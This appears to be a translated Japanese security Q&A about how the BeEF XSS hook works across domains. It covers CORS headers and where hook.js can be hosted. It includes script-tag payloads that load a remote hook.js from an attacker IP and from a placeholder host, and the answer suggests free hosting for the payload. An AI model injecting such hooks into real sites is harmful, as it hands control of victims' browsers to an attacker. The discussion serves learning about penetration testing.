BeEf XSSはペネトレーションテスターにとって非常に興味深いツールだと思うので勉強していますが、特にクロスドメインリクエストにリンクする場合、いくつか疑問があります。
したがって、何らかの方法で、ユーザーブラウザーに次のhmtlタグを含めるように強制することができます。
<script src="http://X.X.X.1:3000/hook.js"></script>
Src属性には、ユーザーがサーフィンしているドメインだけでなく、任意のドメインを含めることができるため、ブラウザはそれについて文句を言いません。次に、私が理解しているように、JSでサポートされていないため、hook.jsはクライアントのポートを開いていませんが、Beefサーバー(hook.jsにハードコーディングされています)からXMLHttpRequestを実行するコマンドをプルします。
次に、ブラウザでコマンドを実行し、結果を返します(もちろん、BeEFサーバーが理解できる一種の内部プロトコルが必要です)。これが機能する理由は、BeEFサーバーがHTTPヘッダーに次の項目を設定するためです。
HTTP/1.1 200 OK
Content-Type: text/javascript
Server: Apache/2.2.3 (CentOS)
Pragma: no-cache
Cache-Control: no-cache
Expires: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET
Content-Length: 412404
Connection: keep-alive
ローカルですべてを試すときにこれを嗅いだので、基本的にディレクティブAccess-Control-Allow-Origin
ユーザーブラウザーがこの通信を許可します。
私の考えは正しいですか?
また、hook.jsをサーバーAからフェッチできるが、サーバーBをポイントできるかどうかを知っていますか?それ以外の場合は、基本的に、hook.jsがホストされているマシンのアドレスを表示しており、そのマシンにアクセスできる必要があります。
CORS(クロスオリジンリソースシェアリング)攻撃をBeefフレームワークの使用と組み合わせて説明しているようです。 OWASPからの抜粋を以下に示します。
Access-Control-Allow-Originは、サーバーが応答の読み取りを許可されているドメインを示すために使用する応答ヘッダーです。 CORS W3仕様に基づいて、クライアントがこのヘッダーに基づいて応答データにアクセスできるかどうかの制限を決定して適用するのはクライアントの責任です。
https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)
2番目の質問はよくわかりませんが、.jsファイルを他の場所でホストしたいと思います。ここでは、その大まかな概要を示します。
被害者はサイトを開くことができ、被害者のブラウザは.jsファイルをロードできる必要があります。このファイルには悪意のあるペイロードが含まれており、被害者のブラウザによって読み込まれると、さまざまな程度の制御とセキュリティ違反が発生します。このファイルは、Webサーバーでホストすることも、外部の別のサーバーでホストすることもできます。
例えば: <script src="http://someotherserviceorwebsite.com/hook.js"></script>
そのマシンにアクセスする必要はありません。ファイルのみが利用可能である必要があります。
JSファイルを無料でホストするために利用できる無料のサービスがいくつかあります。
私はあなたの質問を正しく理解したと思います。